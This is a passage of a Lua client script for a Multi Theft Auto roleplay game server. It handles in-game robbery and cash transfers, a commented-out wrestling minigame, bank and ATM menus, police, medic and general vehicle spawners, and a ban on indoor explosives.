			exports["guimessages"]:outputClient(getPlayerName(rbr)..' '..hrm1text..''..robM..' '..hrm2text, 255, 0, 0)
			checkntf('r', 'pp', 'r', getPlayerName(rbr)..' '..hrm1text..''..robM..' '..hrm2text, player)
			setElementData(rbd, "Money", getElementData(rbd, "Money")-robM)
			setElementData(rbd, "Scores", getElementData(rbd, "Scores")-1)
		end
		setTimer(function()
			if robber == player then
				setElementData(robber, "Rob", false)
			end
			robber = false
			robbed = false
			robM = false
		end, 180000, 1)
	end
end
addEventHandler("robamount", getRootElement(), Frobamount)

function toggle(key, keystate)
	if keystate == "up" then
		arob = false
		unbindKey("action", "up", rob, player)
	elseif keystate == "down" then
		arob = true
		bindKey("action", "up", rob, player)
	end
end
----------------------------------------------- Give Cash ----------------------------------------
function giveM(cmd, id, amount)
if sendTime then return end
sendTime = true
setTimer(function() sendTime = false end,2000,1)
if getElementData(player, "Rob") then exports["guimessages"]:outputClient("You are not allowed to transfer money because you've stolen money from someone.", 255, 0, 0) return end
	if getElementData(player, "Stats") ~= 2 then
		if id then
			id = tonumber(id)
			if id then
				if amount then
					amount = tonumber(amount)
					if amount then
						amount = math.ceil(amount)
						if amount > 0 then
							if amount <= getElementData(player, "Money") then
								if getElementData(player, "ID") ~= id then
									send = false
									for k, v in ipairs(getElementsByType("player")) do
										if getElementData(v, "ID") == id and not send then
											x, y, z = getElementPosition(player)
											vx, vy, vz = getElementPosition(v)
											dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
											if dist < 20 then
												send = true
												triggerServerEvent("GCash", player, player, id, amount)
											end
										end
									end
									if not send then
										exports["guimessages"]:outputClient(nidtext..' '..id, 255, 255, 0)
									end
								else
									exports["guimessages"]:outputClient(tfstext, 255, 0, 0)
								end
							else
								exports["guimessages"]:outputClient(dhwmtext, 255, 255, 0)
							end
						else
							exports["guimessages"]:outputClient("That amount must be greater than zero.", 255, 0, 0)
						end
					else
						exports["guimessages"]:outputClient("The amount must be number.", 255, 0, 0)
					end
				else
					exports["guimessages"]:outputClient("Syntax: /"..cmd.." [id] [amount]", 255, 255, 0)
				end
			else
				exports["guimessages"]:outputClient("The ID must be number.", 255, 0, 0)
			end
		else
			exports["guimessages"]:outputClient("Syntax: /"..cmd.." [id] [amount]", 255, 255, 0)
		end
	else
		exports["guimessages"]:outputClient(csmtext, 255, 255, 0)
	end
end
addCommandHandler("gc", giveM)
addCommandHandler("gm", giveM)

----------------------------------------------- WWE ----------------------------------------

--[[wweBR = {}

wwe1 = createMarker(2747.54, -1824.97, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe2 = createMarker(2749.07, -1824.67, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe3 = createMarker(2750.6, -1824.36, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe4 = createMarker(2752.12, -1824.05, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe5 = createMarker(2753.64, -1823.74, 12.16, "corona", 1.4, 150, 150, 255, 80)

wwe6 = createMarker(2797.14, -1787.95, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe7 = createMarker(2797.73, -1786.51, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe8 = createMarker(2798.32, -1785.06, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe9 = createMarker(2798.91, -1783.62, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe10 = createMarker(2799.51, -1782.18, 12.16, "corona", 1.4, 150, 150, 255, 80)

wwe11 = createMarker(2776.69, -1707.3, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe12 = createMarker(2775.39, -1706.43, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe13 = createMarker(2774.09, -1705.57, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe14 = createMarker(2772.84, -1704.73, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe15 = createMarker(2771.5, -1703.83, 12.16, "corona", 1.4, 150, 150, 255, 80)

wwe16 = createMarker(2727.96, -1695.17, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe17 = createMarker(2726.43, -1695.48, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe18 = createMarker(2724.89, -1695.78, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe19 = createMarker(2723.35, -1696.09, 12.16, "corona", 1.4, 150, 150, 255, 80)
wwe20 = createMarker(2721.79, -1696.41, 12.16, "corona", 1.4, 150, 150, 255, 80)

Bet1mark = createMarker(2695, -1742, 1300, "corona", 1)
Bet2mark = createMarker(2775, -1727, 1300, "corona", 1)

cBet1mark = createMarker(2695, -1742, 1299, "cylinder", 1)
cBet2mark = createMarker(2775, -1727, 1299, "cylinder", 1)
setElementInterior(Bet1mark, 1)
setElementInterior(Bet2mark, 1)

flash1 = createObject(14628, 2811.57, -1866.46, 20.43, 0, 0, 261.5)
flash2 = createObject(14628, 2811.73, -1872.74, 20.43, 0, 0, 261.5)

img3 = "images/3.png"
img2 = "images/2.png"
img1 = "images/1.png"
imgF = "images/FIGHT!.png"

setElementAlpha(flash1, 0)
setElementAlpha(flash2, 0)
--setElementInterior(knho1, 100)

--createMarker(1111.5, -976, 41.76, "cylinder", 1, 255, 0, 0, 128)

function WWEgui()
	Window_wwe = guiCreateWindow(w/3.1,h/3.3,w/2.82,h/2.4,"WWE",false)
	Button_join = guiCreateButton(w/10,h/5.5,w/6.7,h/16.6,"Join the match",false,Window_wwe)
	close_wwe = guiCreateButton(w/3.8,h/2.94,w/12.9,h/17.6,"exit",false,Window_wwe)
	lbl_fighters = guiCreateLabel(w/50,h/15,w/3.54,h/40,'The wrestlers: '..getElementData(thebag, "Wrestlers"),false,Window_wwe)
	guiLabelSetColor(lbl_fighters,255,0,0)
	guiLabelSetVerticalAlign(lbl_fighters,"top")
	guiLabelSetHorizontalAlign(lbl_fighters,"left",false)
	lbl_whosee = guiCreateLabel(w/50,h/10,w/3.54,h/40,"The fans:",false,Window_wwe)
	guiLabelSetColor(lbl_whosee,255,0,0)
	guiLabelSetVerticalAlign(lbl_whosee,"top")
	guiLabelSetHorizontalAlign(lbl_whosee,"left",false)
	Button_see = guiCreateButton(w/10,h/3.9,w/6.7,h/16.6,"Watch the match",false,Window_wwe)
end

function Betgui()
	Window_bet = guiCreateWindow(w/3.6,h/5,w/1.95,h/1.45,"WWE Bet",false)
	Grid_bet = guiCreateGridList(w/40,h/20,w/3.63,h/1.64,false,Window_bet)
	guiGridListSetSelectionMode(Grid_bet,2)
	guiGridListSetSortingEnabled(Grid_bet, false)
	wweBC = guiGridListAddColumn(Grid_bet, "Wrestlers", .8)
	Button_bet = guiCreateButton(w/3.2,h/8.33,w/5.33,h/20,"Bet on the wrestler $500",false,Window_bet)
	close_bet = guiCreateButton(w/2.79,h/1.64,w/11.5,h/20,"EXIT",false,Window_bet)
end

addEvent("waitanim", true)
function Fwaitanim(wrestler)
	if wrestler == player then
		addEventHandler("onClientRender", getRootElement(), wweTandW)
		if getElementData(thebag, "Wrestlers") < 2 and not aclT then
			aclT = setTimer(function()
					aclT = false
					if not wwe then
						outputChatBox(lmctext, 0, 255, 0)
						addCommandHandler("leave", function() triggerServerEvent("SEndWWE", player, player) end)
					end
			end, 30000, 1)
		end
		setPedWeaponSlot(player, 0)
		toggleControl("next_weapon", false)
		toggleControl("previous_weapon", false)
		wrstNum = getElementData(player, "Wrestler")
		if wrstNum > 15 then
			setPedRotation(player, 90)
			setElementPosition(player, 2742, -1760.5, 1299.3)
		elseif wrstNum > 14 then
			setPedRotation(player, 270)
			setElementPosition(player, 2734, -1760.5, 1299.3)
		elseif wrstNum > 13 then
			setPedRotation(player, 180)
			setElementPosition(player, 2738, -1756, 1299.3)
		elseif wrstNum > 12 then
			setPedRotation(player, 0)
			setElementPosition(player, 2738, -1765, 1299.3)
		elseif wrstNum > 11 then
			setPedRotation(player, 45)
			setElementPosition(player, 2742, -1765, 1299.3)
		elseif wrstNum > 10 then
			setPedRotation(player, 225)
			setElementPosition(player, 2734, -1756, 1299.3)
		elseif wrstNum > 9 then
			setPedRotation(player, 135)
			setElementPosition(player, 2742, -1756, 1299.3)
		elseif wrstNum > 8 then
			setPedRotation(player, 315)
			setElementPosition(player, 2734, -1765, 1299.3)
		elseif wrstNum > 7 then
			setPedRotation(player, 90)
			setElementPosition(player, 2740, -1760.25, 1300.3)
		elseif wrstNum > 6 then
			setPedRotation(player, 270)
			setElementPosition(player, 2735.5, -1760.25, 1300.3)
		elseif wrstNum > 5 then
			setPedRotation(player, 180)
			setElementPosition(player, 2737.75, -1758, 1300.3)
		elseif wrstNum > 4 then
			setPedRotation(player, 0)
			setElementPosition(player, 2737.75, -1762.5, 1300.3)
		elseif wrstNum > 3 then
			setPedRotation(player, 45)
			setElementPosition(player, 2740, -1762.5, 1300.3)
		elseif wrstNum > 2 then
			setPedRotation(player, 225)
			setElementPosition(player, 2735.5, -1758, 1300.3)
		elseif wrstNum > 1 then
			setPedRotation(player, 135)
			setElementPosition(player, 2740, -1758, 1300.3)
		elseif wrstNum > 0 then
			setPedRotation(player, 315)
			setElementPosition(player, 2735.5, -1762.5, 1300.3)
		end
	end
	setPedAnimation(wrestler, "GYMNASIUM", "GYMshadowbox")
end
addEventHandler("waitanim", getRootElement(), Fwaitanim)

function wweTandW()
	setWeather(183)
	setTime(0, 2)
	if getPlayerTeam(player) ~= getTeamFromName("Police") then
		setPedWeaponSlot(player,0)
	end
end

addEvent("CountDown", true)
function FCountDown()
	fight = true
	if fan or getElementData(player, "Wrestler") then
		alp = 255
		img = img3
		imgsx = h/4.6875
		imgsy = imgsx
		imgpx = w/2-imgsx/2
		playSoundFrontEnd(44)
		setTimer(function()
				alp = 255
				img = img2
				playSoundFrontEnd(44)
		end, 1000, 1)
		setTimer(function()
				alp = 255
				img = img1
				playSoundFrontEnd(44)
		end, 2000, 1)
		setTimer(function()
				alp = 255
				img = imgF
				imgsx = h/1.1905
				imgpx = w/2-imgsx/2
				playSoundFrontEnd(45)
				if Window_bet then
					destroyElement(Window_bet)
					Window_bet = false
					showCursor(false)
				end
		end, 3000, 1)
		addEventHandler("onClientRender", getRootElement(), Countdown)
	end
	setTimer(function()
			for k,v in ipairs(getElementsByType("player")) do
				if getElementData(v, "Wrestler") then
					setPedAnimation(v)
				end
			end
	end, 3000, 1)
end
addEventHandler("CountDown", getRootElement(), FCountDown)

function Countdown()
	dxDrawImage(imgpx, h/2-imgsy/2, imgsx, imgsy, img, 0, 0, 0, tocolor(255, 255, 255, alp))
	alp = alp-5
	if alp < 0 then
		removeEventHandler("onClientRender", getRootElement(), Countdown)
	end
end

addEvent("CendWWE", true)
function FCendWWE(winner)
	if fan or getElementData(player, "Wrestler") then
		wwe = false
		--setTimer(endWWE, 5000, 1)
		if bet then
			if bet == winner then
				setElementData(player, "Money", getElementData(player, "Money")+1000)
				outputChatBox(cbwtext, 0, 255, 0)
			else
				outputChatBox(dbwtext, 255, 0, 0)
			end
			bet = false
		end
	end
	fight = false
end
addEventHandler("CendWWE", getRootElement(), FCendWWE)

addEvent("LWWE", true)
function FLWWE(fanner, hr, mn, wt)
	if fanner == player then
		removeEventHandler("onClientRender", getRootElement(), wweTandW)
		setTime(hr, mn)
		setWeather(wt)
		fan = false
		removeCommandHandler("leave")
		toggleControl("fire", true)
		toggleControl("enter_exit", true)
		toggleControl("next_weapon", true)
		toggleControl("previous_weapon", true)
		if getElementHealth(player) > 1 then
			wweX = math.random(1, 8)
			if wweX > 7 then
				setPedRotation(player, 166)
				setElementPosition(player, 2724, -1826, 11.4)
			elseif wweX > 6 then
				setPedRotation(player, 124)
				setElementPosition(player, 2684, -1802, 11.4)
			elseif wweX > 5 then
				setPedRotation(player, 90)
				setElementPosition(player, 2670, -1760, 11.4)
			elseif wweX > 4 then
				setPedRotation(player, 34)
				setElementPosition(player, 2696, -1707, 11.4)
			elseif wweX > 3 then
				setPedRotation(player, 349)
				setElementPosition(player, 2751, -1694, 11.4)
			elseif wweX > 2 then
				setPedRotation(player, 304)
				setElementPosition(player, 2794, -1722, 11.4)
			elseif wweX > 1 then
				setPedRotation(player, 270)
				setElementPosition(player, 2805, -1760, 11.4)
			else
				setPedRotation(player, 213)
				setElementPosition(player, 2780, -1813, 11.4)
			end
		end
		if getPlayerTeam(player) == getTeamFromName("Police") then
			Foffer(getTeamFromName("Police"))
		end
	end
end
addEventHandler("LWWE", getRootElement(), FLWWE)]]--@--

----------------------------------------------- Bank ----------------------------------------
bk1 = createMarker(610.9 , -1257.8 , 1299, "corona", 1)
bk2 = createMarker(604.9 , -1257.8 , 1299, "corona", 1)


cbk1 = createMarker(610.9 , -1257.8, 1298.2, "cylinder", 1, 255, 255, 0, 128)
cbk2 = createMarker(604.9 , -1257.8, 1298.2, "cylinder", 1, 255, 255, 0, 128)


setElementInterior(cbk1, 1)
setElementInterior(cbk2, 1)


atm1 = createMarker(2069.8, -1770,12.4, "cylinder", 1, 255, 255, 0, 255)
atm2 = createMarker(2312, -1315, 23, "cylinder", 1, 255, 255, 0, 255)
atm3 = createMarker(1463, -1583.4, 12.5, "cylinder", 1, 255, 255, 0, 255)
atm5 = createMarker(364.25525,-2048.9, 6.78, "cylinder", 1, 255, 255, 0, 255)
atm6 = createMarker(1609.5, 1124.9, 9.8, "cylinder", 1, 255, 255, 0, 255)
atm7 = createMarker(2086, 2066.8, 10, "cylinder", 1, 255, 255, 0, 255)

batm1 = createBlipAttachedTo(atm1, 52, 2, 255, 255, 255, 255, 0, 200)
batm2 = createBlipAttachedTo(atm2, 52, 2, 255, 255, 255, 255, 0, 200)
batm3 = createBlipAttachedTo(atm3, 52, 2, 255, 255, 255, 255, 0, 200)
batm5 = createBlipAttachedTo(atm5, 52, 2, 255, 255, 255, 255, 0, 200)
batm6 = createBlipAttachedTo(atm6, 52, 2, 255, 255, 255, 255, 0, 200)
batm7 = createBlipAttachedTo(atm7, 52, 2, 255, 255, 255, 255, 0, 200)

setBlipVisibleDistance(batm1, 250)
setBlipVisibleDistance(batm2, 250)
setBlipVisibleDistance(batm3, 250)
setBlipVisibleDistance(batm5, 250)
setBlipVisibleDistance(batm6, 250)
setBlipVisibleDistance(batm7, 250)

objatm1 = createObject(2942, 2068.9, -1770,13.2,0,0,90)
objatm2 = createObject(2942, 2312.8, -1315, 23.5,0,0,270)
objatm3 = createObject(2942, 1463, -1582.5, 13)
objatm5 = createObject(2942, 364.25525,-2049.91626, 7.45,0,0,180)
objatm6 = createObject(2942, 1609.5, 1124, 10.4,0,0,180)
objatm7 = createObject(2942, 2085.1, 2066.8, 10.7,0,0,90)

setObjectBreakable(objatm1, false)
setObjectBreakable(objatm2, false)
setObjectBreakable(objatm3, false)
setObjectBreakable(objatm5, false)
setObjectBreakable(objatm6, false)
setObjectBreakable(objatm7, false)

setElementFrozen(objatm1, true)
setElementFrozen(objatm2, true)
setElementFrozen(objatm3, true)
setElementFrozen(objatm5, true)
setElementFrozen(objatm6, true)
setElementFrozen(objatm7, true)

function GUICBW()
	if guiGetVisible(animationWindow) then
		guiSetVisible(animationWindow,false)
		showCursor(false)
	end
	Bank_W = guiCreateWindow(w/3.1, 214, w/3.54, h/3.07, "Bank", false)
	Bank_TP = guiCreateTabPanel(w/80, h/12, w/3.88, h/5.45, false, Bank_W)
	BL_L = guiCreateLabel(w/80, h/24, w/12.12, h/30, "Balance:", false, Bank_W)
	CB_L = guiCreateLabel(w/80, h/24, w/4, h/30, "$"..getElementData(player, "Bank"), false, Bank_W)
	guiLabelSetHorizontalAlign(CB_L, "right")
	BE_B = guiCreateButton(w/80, h/3.636, w/3.88, h/30, "Exit", false, Bank_W)

	Bank_T_1 = guiCreateTab("Deposit", Bank_TP)
	Dep_L = guiCreateLabel(w/160, w/72.7, w/15.1, h/28.6, "Amount:", false, Bank_T_1)
	Dep_E = guiCreateEdit(w/14.55, h/60, w/5.33, h/30, "0", false, Bank_T_1)
	Dep_B = guiCreateButton(w/160, h/17.14, w/4.102, h/30, "Deposit", false, Bank_T_1)
	Dep_A = guiCreateButton(w/160, h/10, w/4.102, h/30, "Deposit All", false, Bank_T_1)

	Bank_T_2 = guiCreateTab("Withdraw", Bank_TP)
	WD_L = guiCreateLabel(w/160, w/72.7, w/15.1, h/28.6, "Amount:", false, Bank_T_2)
	WD_E = guiCreateEdit(w/14.55, h/60, w/5.33, h/30, "0", false, Bank_T_2)
	WD_B = guiCreateButton(w/160, h/17.14, w/4.102, h/30, "Withdraw", false, Bank_T_2)
	WD_A = guiCreateButton(w/160, h/10, w/4.102, h/30, "Withdraw All", false, Bank_T_2)

	Bank_T_3 = guiCreateTab("Transfer", Bank_TP)
	TF_L_1 = guiCreateLabel(w/160, w/72.7, w/15.1, h/28.6, "To      ID:", false, Bank_T_3)
	TF_L_2 = guiCreateLabel(w/160, h/16.666, w/15.1, h/28.6, "Amount:", false, Bank_T_3)
	TF_E_1 = guiCreateEdit(w/14.55, h/60, w/5.33, h/30, "0", false, Bank_T_3)
	TF_E_2 = guiCreateEdit(w/14.55, h/17.14, w/5.33, h/30, "0", false, Bank_T_3)
	TF_B = guiCreateButton(w/160, h/10, w/4.102, h/30, "Transfer", false, Bank_T_3)

	guiSetFont(BL_L, "default-bold-small")
	guiSetFont(BE_B, "default-bold-small")

	guiSetFont(Dep_L, "default-bold-small")
	guiSetFont(Dep_E, "default-bold-small")
	guiSetFont(Dep_B, "default-bold-small")
	guiSetFont(Dep_A, "default-bold-small")

	guiSetFont(WD_L, "default-bold-small")
	guiSetFont(WD_E, "default-bold-small")
	guiSetFont(WD_B, "default-bold-small")
	guiSetFont(WD_A, "default-bold-small")

	guiSetFont(TF_L_1, "default-bold-small")
	guiSetFont(TF_L_2, "default-bold-small")
	guiSetFont(TF_E_1, "default-bold-small")
	guiSetFont(TF_E_2, "default-bold-small")
	guiSetFont(TF_B, "default-bold-small")
	fpis = setTimer(function()
		fpis = false
		x, y, z = getElementPosition(player)
		setElementPosition(el, x, y, z)
		attachElements(player, el)
	end, 500, 1)
end

vehicles = {596,598,597,523,599,427}

local screX, screY = guiGetScreenSize()
window = guiCreateWindow(screX / 2 - 100, screY / 2 - 150, 200, 350, "Selecting Vehicles Menu", false)
guiSetVisible(window, false)
guiWindowSetSizable(window, false)
local list = guiCreateGridList(0, 0.07, 1, 0.66, true, window)
local column = guiGridListAddColumn(list, "vehicle", 0.9)
local selectB = guiCreateButton(0.05, 0.75, 1, 0.1, "Select!", true, window)
local closeB = guiCreateButton(0.05, 0.86, 1, 0.1, "Close", true, window)

function onWaste()
     guiSetVisible(window, false)
     showCursor(false)
setTimer(setElementFrozen,50,1,player,false)
end
--@--addEventHandler("onClientPlayerWasted", getLocalPlayer(), onWaste)
addEventHandler("onClientGUIClick", closeB, onWaste, false)

for i,car in ipairs(vehicles) do
	local row = guiGridListAddRow(list)
	guiGridListSetItemText(list, row, column, getVehicleNameFromModel(tonumber(car)), false, false)
end

if getPlayerTeam(player) == getTeamFromName("Police") then
	M1 = createMarker(1560, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
	M2 = createMarker(1572, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
	M3 = createMarker(1587.5, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
	M4 = createMarker(1587.11, -1710.39, 5, "cylinder", 1.5, 0, 0, 255, 150)
	M5 = createMarker(1564.03, -1711.77, 5, "cylinder", 1.5, 0, 0, 255, 150)
end

function createTheChoosenCar()
	local row = guiGridListGetSelectedItem(list)
	if row and row >= 0 then
		guiSetVisible(window, false)
		setTimer(setElementFrozen,50,1,player,false)
		showCursor(false)
		triggerServerEvent("onCreatePoliceCar", player, guiGridListGetItemText(list, row, column))
	end
end
addEventHandler("onClientGUIClick", selectB, createTheChoosenCar, false)
addEventHandler("onClientGUIDoubleClick", list, createTheChoosenCar, false)

addEventHandler("onClientElementDataChange",root,
function(dataName,old)
	if getElementType(source) == "player" and source == player and dataName == "Alive" then
		setTimer(function(source)
			if getElementData(source,"Alive") == true and old == false then
				if getPlayerTeam(source) and getPlayerTeam(source) == getTeamFromName("Police") then
					if isElement(M1) then destroyElement(M1) end
					if isElement(M2) then destroyElement(M2) end
                    if isElement(M3) then destroyElement(M3) end
                    if isElement(M4) then destroyElement(M4) end
                    if isElement(M5) then destroyElement(M5) end
                    M1 = createMarker(1560, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
                    M2 = createMarker(1572, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
                    M3 = createMarker(1587.5, -1608.38, 12.4, "cylinder", 1.5, 0, 0, 255, 150)
                    M4 = createMarker(1587.11, -1711, 5, "cylinder", 1.5, 0, 0, 255, 150)
                    M5 = createMarker(1564.03, -1711, 5, "cylinder", 1.5, 0, 0, 255, 150)
				else
					if isElement(M1) then destroyElement(M1) end
                    if isElement(M2) then destroyElement(M2) end
                    if isElement(M3) then destroyElement(M3) end
                    if isElement(M4) then destroyElement(M4) end
                    if isElement(M5) then destroyElement(M5) end
				end
			end
		end,1000,1,source)
     end
end)

addEventHandler("onClientMarkerHit", root,
function(pp)
	if getElementType(pp) ~= "player" or pp ~= player or isPedInVehicle(pp) or getPlayerTeam(pp) ~= getTeamFromName("Police") then return end
	if source == M1 or source == M2 or source == M3 or source == M4 or source == M5 then
		if isOnTheHeightRange(pp, source) then
		setTimer(function(pp,source) local x, y, z = getElementPosition(source) local xx, yy, zz = getElementPosition(pp) setElementPosition(pp, xx, yy, z+0.5) setElementFrozen(player,true) end,150,1,pp,source)
			guiSetVisible(window, true)
			showCursor(true)
		end
	end
end)

-- Cancel Heli Damge
function cancelDeath()
	cancelEvent()
end
addEventHandler("onClientPlayerHeliKilled", getLocalPlayer(), cancelDeath)

-- Cant Use Grnade inside the bulding !

addEventHandler("onClientPreRender", root,
function()
	if getElementInterior(localPlayer) ~= 0 then
		local wp = getPedWeapon(localPlayer)
		if wp == 16 or wp == 17 or wp == 39 then
			if isControlEnabled("fire") then
				toggleControl("fire", false)
				stat = 0
			end
		elseif wp ~= 16 and wp ~= 17 and wp ~= 39 then
			if not isControlEnabled("fire") and stat == 0 then
				toggleControl("fire", true)
				stat = 1
			end
		end
	end
end)

function ClientExplosionFunction()
 if getElementInterior(source) ~= 0  then
  cancelEvent ()
 end
end
addEventHandler("onClientExplosion", root, ClientExplosionFunction)

-- ADD HEAL PLAYERS !

waitTimer = {}

addEventHandler("onClientPlayerDamage", root,
function(attacker, weapon)
	if attacker and getElementType(attacker) == "player" and attacker ~= source then
		local Model = getElementModel(attacker)
		local Team = getPlayerTeam(attacker)
		if Team and (getTeamName(Team) == "Medic") and (weapon == 41) and (Model > 273 and Model < 277) then
			cancelEvent()
			if not isTimer(waitTimer[source]) then
				triggerServerEvent("healPlayer", attacker, source, attacker)
				waitTimer[source] = setTimer(function(p) waitTimer[p] = nil end, 1500, 1, source)
			end
		end
	end
end)

function isOnTheHeightRange(player, marker)
	local _, _, Pz = getElementPosition(player)
	local _, _, Mz = getElementPosition(marker)
	if Mz + 5 >= Pz then
		return true
	end
end

-- HOLSTEN (TAPL = -_-""")
---- Vehicles Spawner

local x, y, z, r
local MarkersTable = {}
local vehicles = {429, 521, 462, 506, 522, 487}
local MarkersPosition = {
	[1] = {1679, -2327.5, 12.5, 0}, -- LS AIR PORT
	[2] = {-1385, -355, 13, 100}, -- SF AIR PORT
	[3] = {1711, 1517, 9.7, 180}, -- LV AIR PORT
	[4] = {2499, -1651.32 ,12.53, 175}, -- GROVE STREET
	[5] = {1359, -1754, 12.4, 0}, -- POLICE LS
	[6] = {2216.80591, -1314.92834, 22.98438, 270}, -- BALLAS
	[7] = {2292.79, -1115.81 ,36.98, 90}, -- Vagus
	[8] = {1803.1, -1933.42 ,12.39, 0}, -- Azetcas
	[9] = {1182.8, -1315 ,12.64, 270}, -- LS ASG Hospital
	[10] = {2007.22, -1440.68 ,12.56, 130}, -- LS HOSPITAL
	[11] = {2680.76, -1697.33 ,8.41, 55}, -- WWE
	[12] = {1194.19, -1756.06 ,12.58, 90}, -- NO TEAM
	[13] = {1144.47, -1465.78 ,14.79, 0}, -- NO TEAM
	[14] = {1535.13, -1476.71 ,8.5, 0}, -- NO TEAM
	[15] = {2489.13, -1953.85, 12.42, 0}, -- NO TEAM
	[16] = {1427.47, -1056.45, 22.16, 0}, -- NO TEAM
	[17] = {1974.27, -1278.81, 22.82, 0}, -- NO TEAM
	[18] = {1946.59, -1362.73, 17.58, 90}, -- NO TEAM
	[19] = {-1861.45, 595.74, 34.17, 0}, -- BANK
	[20] = {-2136.47, -78.1, 34.32, 0}, -- WAREHOUSE
	[21] = {333.81, -1519.94, 34.87, 319}, -- Club
	[22] = {1771.77, -1344.41, 14.76, 177}, -- NO TEAM
	[23] = {1722.63, -1609.57, 12.55 , 1}, -- NO TEAM
	[24] = {-2022.86, 155.56, 27.83594 , 0}, -- RIFA
	[25] = {-2175.38, 704.29, 52.89063 , 180}, -- Triads
	[26] = {-2107.17, 903.50, 75.48021 , 360}, -- Da Nang
	[27] = {-2621.01, 1379.10, 6.14884 , 180}, -- Mafia
	[28] = {-1704.59, 1339.44, 6.18072 , 136}, -- Russians
	[29] = {1624, 1820, 9.7, 0}, -- LV HOSPITAL
}


local Window_CarsForCr = guiCreateWindow(screX/2 - 100, screY/2 - 150, 200, 350, "Selecting Vehicles Menu", false)
guiSetVisible(Window_CarsForCr, false)
guiWindowSetSizable(Window_CarsForCr, false)
local list_Cars = guiCreateGridList(0, 0.07, 1, 0.66, true, Window_CarsForCr)
local column_cars = guiGridListAddColumn(list_Cars, "vehicle", 0.9)
local selectBB = guiCreateButton(0.05, 0.75, 1, 0.1, "Select!", true, Window_CarsForCr)
local closeBBB = guiCreateButton(0.05, 0.86, 1, 0.1, "Close", true, Window_CarsForCr)

local list_Medic = guiCreateGridList(0, 0.07, 1, 0.66, true, Window_CarsForCr)
guiSetVisible(list_Medic, false)
local column_Medic = guiGridListAddColumn(list_Medic, "vehicle", 0.9)
guiGridListSetItemText(list_Medic, guiGridListAddRow(list_Medic), column_Medic, "Ambulance", false, false)

local medic1 = createMarker(1177, -1308, 12.95, "cylinder", 2, 0, 255, 255, 100)
local medic2 = createMarker(1177, -1338.5, 12.95, "cylinder", 2, 0, 255, 255, 100)

function onWaste()
	guiSetVisible(Window_CarsForCr, false)
	showCursor(false)
	setTimer(setElementFrozen, 50, 1, player, false)
end
addEventHandler("onClientPlayerWasted", player, onWaste)
addEventHandler("onClientGUIClick", closeBBB, onWaste, false)

for _,car in ipairs(vehicles) do
	local row = guiGridListAddRow(list_Cars)
	guiGridListSetItemText(list_Cars, row, column_cars, getVehicleNameFromModel(tonumber(car)), false, false)
end

for _, Pos in ipairs(MarkersPosition) do
	local marker = createMarker(Pos[1], Pos[2], Pos[3], "cylinder", 2, 200, 200, 200, 100)
	setElementID(marker, tostring(Pos[4]))
	MarkersTable[marker] = true
end

function createTheChoosenCarr()
	if not guiGetVisible(list_Cars) then return end
	local row = guiGridListGetSelectedItem(list_Cars)
	if row and row >= 0 then
		guiSetVisible(Window_CarsForCr, false)
		setTimer(setElementFrozen,50,1,player,false)
		showCursor(false)
		triggerServerEvent("onSpawnVehicle", player, guiGridListGetItemText(list_Cars, row, column_cars), x, y, z, r)
	end
end
addEventHandler("onClientGUIClick", selectBB, createTheChoosenCarr, false)
addEventHandler("onClientGUIDoubleClick", list_Cars, createTheChoosenCarr, false)

function createTheChoosenCarrm()
	if not guiGetVisible(list_Medic) then return end
	local row = guiGridListGetSelectedItem(list_Medic)
	if row and row >= 0 then
		guiSetVisible(Window_CarsForCr, false)
		setTimer(setElementFrozen,50,1,player,false)
		showCursor(false)
		triggerServerEvent("onSpawnVehicle", player, guiGridListGetItemText(list_Medic, row, column_Medic), x, y, z, 270)
	end
end
addEventHandler("onClientGUIClick", selectBB, createTheChoosenCarrm, false)
addEventHandler("onClientGUIDoubleClick", list_Medic, createTheChoosenCarrm, false)

addEventHandler("onClientMarkerHit", resourceRoot,
function(pp)
	if getElementType(pp) ~= "player" or pp ~= player or isPedInVehicle(pp) then return end
	if MarkersTable[source] and isOnTheHeightRange(pp, source) and getElementData(pp, "Stats") < 2 then
		guiSetVisible(list_Cars, true)
		guiSetVisible(list_Medic, false)
		setTimer(function(pp,source)
			x, y, z = getElementPosition(source)
			r = getElementID(source)
			local xx, yy, zz = getElementPosition(pp)
			setElementPosition(pp, xx, yy, z+0.5)
			setElementFrozen(player,true)
		end, 150, 1, pp, source)
		guiSetVisible(Window_CarsForCr, true)
		showCursor(true)
	end
end)

addEventHandler("onClientMarkerHit", resourceRoot,
function(pp)
	if getElementType(pp) ~= "player" or pp ~= player or isPedInVehicle(pp) then return end
	if source == medic1 or source == medic2 then
		if isOnTheHeightRange(pp, source) and getElementData(pp, "Stats") < 2 and getPlayerTeam(pp) == getTeamFromName("Medic") then
			guiSetVisible(list_Cars, false)
			guiSetVisible(list_Medic, true)
			setTimer(function(pp,source)
				x, y, z = getElementPosition(source)
				r = getElementID(source)
				local xx, yy, zz = getElementPosition(pp)
				setElementPosition(pp, xx, yy, z+0.5)
				setElementFrozen(player,true)
			end, 150, 1, pp, source)
			guiSetVisible(Window_CarsForCr, true)
			showCursor(true)
		end
	end
end)

addEventHandler("onClientMarkerLeave", resourceRoot,
function(pp)
	if getElementType(pp) ~= "player" or pp ~= player or isPedInVehicle(pp) then return end
	if MarkersTable[source] or source == medic1 or source == medic2 then
		guiSetVisible(Window_CarsForCr, false)
		setTimer(setElementFrozen,250,1,player,false)
		setElementFrozen(player,false)
		showCursor(false)
	end
end)

addEvent("Tcheckntf", true)
function checkntf(c, e, s, t, p)
	if p == player then
		if ntf then
